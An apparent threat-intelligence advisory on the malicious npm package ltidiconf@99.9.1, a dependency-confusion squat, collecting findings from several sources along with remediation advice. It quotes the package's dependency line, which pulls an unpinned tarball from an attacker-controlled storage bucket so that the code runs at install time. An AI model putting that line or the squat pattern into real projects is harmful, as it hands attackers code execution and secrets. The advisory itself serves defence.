Malicious code in ltidiconf (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a4ca306052ea5224831743daec9d3944fadff8cb4a7211e980be7669a739d00d) [email protected] is an empty wrapper package (index.js is `module.exports = {};`, empty author/description, inflated 99.9.1 version) whose sole effect on install is to pull a single dependency declared as a direct tarball URL: `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.8.tgz"`. The bytes at that GCS bucket are mutable, unpinned, and not integrity-hashed; the bucket owner can swap the tarball at any time, and whatever code is in it executes at `npm install` time and on `require`. The wrapper has no functional content of its own, the bucket path literally contains the string `depenconf`, and the 99.9.1 version is the canonical shape of a dependency-confusion squat designed to shadow an internal package name and drop arbitrary attacker-controlled code into the installer's environment. ## Source: ghsa-malware (b949b5a457e726a907fa5e6b27ac585521202e3138218191b3bfe2945ecb39ff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (82f07d72efb0234c99f1db77fa557334d2cf010cd0a7020e470d6e72518c0a5d) The OpenSSF Package Analysis project identified 'ltidiconf' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.
AI Analysis
Technical Summary
The 'ltidiconf' npm package at version 99.9.1 acts as a dependency confusion squat that shadows an internal package name. It contains no functional code itself but installs a direct dependency from a Google Cloud Storage bucket URL that is mutable and not integrity-checked. This allows the bucket owner to swap the tarball contents at any time, executing arbitrary attacker-controlled code during 'npm install' and 'require'. The package communicates with a domain associated with malicious activity, indicating active malicious intent. Because the malicious code executes with the privileges of the installing user, any system with this package installed is considered fully compromised.
Potential Impact
Installation or use of 'ltidiconf'@99.9.1 results in arbitrary code execution controlled by an attacker. This compromises the entire system where it is installed, potentially exposing all stored secrets and keys. The attacker can maintain persistence beyond removal of the package, making full system compromise likely.
Mitigation Recommendations
No official patch or fix is available for this malicious package. The recommended mitigation is to immediately remove 'ltidiconf'@99.9.1 from all systems. All secrets and keys on affected systems should be rotated from a secure, uncompromised environment. Because the package grants full control to an attacker, affected systems should be treated as fully compromised and undergo thorough incident response and remediation.
Malicious code in ltidiconf (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a4ca306052ea5224831743daec9d3944fadff8cb4a7211e980be7669a739d00d) [email protected] is an empty wrapper package (index.js is `module.exports = {};`, empty author/description, inflated 99.9.1 version) whose sole effect on install is to pull a single dependency declared as a direct tarball URL: `"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.0.8.tgz"`. The bytes at that GCS bucket are mutable, unpinned, and not integrity-hashed; the bucket owner can swap the tarball at any time, and whatever code is in it executes at `npm install` time and on `require`. The wrapper has no functional content of its own, the bucket path literally contains the string `depenconf`, and the 99.9.1 version is the canonical shape of a dependency-confusion squat designed to shadow an internal package name and drop arbitrary attacker-controlled code into the installer's environment. ## Source: ghsa-malware (b949b5a457e726a907fa5e6b27ac585521202e3138218191b3bfe2945ecb39ff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (82f07d72efb0234c99f1db77fa557334d2cf010cd0a7020e470d6e72518c0a5d) The OpenSSF Package Analysis project identified 'ltidiconf' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.
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Machine-generated threat intelligence
Technical Analysis
The 'ltidiconf' npm package at version 99.9.1 acts as a dependency confusion squat that shadows an internal package name. It contains no functional code itself but installs a direct dependency from a Google Cloud Storage bucket URL that is mutable and not integrity-checked. This allows the bucket owner to swap the tarball contents at any time, executing arbitrary attacker-controlled code during 'npm install' and 'require'. The package communicates with a domain associated with malicious activity, indicating active malicious intent. Because the malicious code executes with the privileges of the installing user, any system with this package installed is considered fully compromised.
Potential Impact
Installation or use of 'ltidiconf'@99.9.1 results in arbitrary code execution controlled by an attacker. This compromises the entire system where it is installed, potentially exposing all stored secrets and keys. The attacker can maintain persistence beyond removal of the package, making full system compromise likely.
Mitigation Recommendations
No official patch or fix is available for this malicious package. The recommended mitigation is to immediately remove 'ltidiconf'@99.9.1 from all systems. All secrets and keys on affected systems should be rotated from a secure, uncompromised environment. Because the package grants full control to an attacker, affected systems should be treated as fully compromised and undergo thorough incident response and remediation.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-5767
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-qv73-635h-wqmp"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a520ecf68715ace438f8902
Added to database: 07/11/2026, 09:37:19 UTC
Last enriched: 07/11/2026, 10:00:06 UTC
Last updated: 07/29/2026, 03:14:56 UTC
Views: 17
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